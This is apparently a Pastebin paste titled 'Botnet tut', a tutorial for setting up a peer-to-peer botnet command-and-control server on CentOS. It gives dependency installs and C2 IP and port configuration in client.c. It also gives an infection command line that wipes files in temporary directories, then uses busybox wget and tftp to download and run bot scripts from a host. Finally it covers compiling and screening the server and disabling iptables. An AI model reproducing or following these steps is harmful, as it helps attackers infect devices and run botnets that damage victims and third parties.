Zekahs

Botnet tut

Aug 4th, 2017
194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.28 KB | None | 0 0
  1.  
  2. # ___ __________ ____ _______ _____ _______________.___. ___
  3. # / _ \_/\ \______ \/_ |\ \ / _ \\______ \__ | | / _ \_/\
  4. # \/ \___/ | | _/ | |/ | \ / /_\ \| _// | | \/ \___/
  5. # | | \ | / | \/ | \ | \\____ |
  6. # |______ / |___\____|__ /\____|__ /____|_ // ______|
  7. # \/ \/ \/ \/ \/
  8.  
  9. ***CnC P2P TUTORIAL***
  10. *** RUN "yum update -y" BEFORE YOU DO ANY OF THIS ***
  11. **THIS TUTORIAL WAS WRITTEN FOR CENTOS***
  12.  
  13. #########################################
  14. #############DEPENDENCIES################
  15. #########################################
  16.  
  17. **YOU MUST RUN THESE OR IT WILL NOT WORK**
  18. **RUN THEM IN THIS ORDER**
  19.  
  20. yum install screen -y
  21. yum install httpd -y
  22. yum install tftp -y
  23. yum install nc -y
  24. yum install gcc -y
  25. yum install nano -y
  26. yum install wget -y
  27. yum install busybox -y
  28.  
  29. #########################################
  30. ########## SETTING UP THE NET ###########
  31. #########################################
  32.  
  33. **START BY MAKING A P2P DIRECTORY**
  34. **DO THIS RUNNING THIS COMMANDS**
  35.  
  36. mkdir p2p
  37.  
  38. **NOW UPLOAD THIS INTO P2P**
  39. >>server.c
  40.  
  41. **UPLOAD THESE FILES TO /var/www/html
  42.  
  43. >>client.c //WELL WATEVER YOUR BOTNAME IS
  44. >>NSA-edit.sh
  45. >>tftp.sh
  46. >>tftp2.sh
  47.  
  48. **CONFIG THE CLIENT FILE**
  49.  
  50. **OPEN UP THE CLIENT.C FILE**
  51. LOOK FOR THIS
  52. >>
  53. unsigned char *commServer[] =
  54. {
  55. ""
  56. };
  57. <<
  58.  
  59. **SET SERVER IP AND PORT**
  60. EX:
  61. >>
  62. unsigned char *commServer[] =
  63. {
  64. "5.154.190.123:666"
  65. };
  66. <<
  67. **TIME TO CONFIG THE WGET LINE
  68. **THIS WILL BE REPLACED WITH YOUR WGET/TFTP BINARIES
  69. START BY REPLACING THE IP
  70. "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http://0.0.0.0/gtop.sh;sh gtop.sh;busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh;exit\r\n"
  71. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  72. THE TFTP BINARYS IM USING IN THIS TUTORIAL ARE TFTP, AND TFTP2
  73. THE NAME OF COMPILED BOT FILES, ARE GTOP.SH
  74. IF YOUR NOT SURE WHAT THE NAME OF YOUR COMPILED BOTFILES, ARE I WOULD CHECK IN THE NSA.sh
  75.  
  76. ***NOW TIME TO COMILE THE BOT FILE**
  77. PRETTY MUCH SELF EXPLANITORY
  78. JUST RUN sh NSA-edit.sh client.c //or whatever your client.c name is
  79.  
  80. **CONFIG YOUR SERVER FILE**
  81. CHANGE THE LOGIN DEFINES
  82. UNLESS ITS MY SERVER.C IF THATS THE CASE JUST CHANGE THE LOGINS IN LOGIN.TXT
  83. CHANGE THE MY_MGM_PORT DEFINE
  84. IF THIS ISNT HERE, ITS PROBABLY DEFINED MANUALLY, OR WITHIN THE SCREEN
  85. IF IT DOESNT SHOW THE PORT
  86. THEN CHECK IN THE MAIN()
  87. LOOK FOR THIS
  88. >>
  89. fprintf (stderr, "%s <bot-port> <threads> <cnc-port>\n", argv[0]);
  90. <<
  91. IF IT SAYS CNC-PORT THEN ITS DEFINED IN THE SCREEN
  92. NOW, IF IT DOESNT HAVE MY_MGM_PORT IN DEFINES,
  93. OR IT DOESNT HAVE CNC-PORT IN SCREEN
  94. THEN LOOK FOR THIS LINE
  95. >>
  96. serv_addr.sin_port = htons(port);
  97. <<
  98. AND REPLACE THE PORT WITH WHAT YOU WANT TO SCREEN
  99.  
  100. THE COMPILE IT USING:
  101. gcc server.c -o server -pthread
  102.  
  103. THEN SCREEN IT BASED OF OF THE USAGE:
  104. ITS USUALLY
  105. screen ./server bot-port threads
  106. or
  107. screen ./server bot-port threads cnc-port
  108.  
  109. THATS BASICALLY IT, AFTER ITS SCREENNED
  110. FLUSH IPABLES AND HTTPD USING:
  111.  
  112. service iptables stop
  113. service httpd restart
Add Comment
Please, Sign In to add comment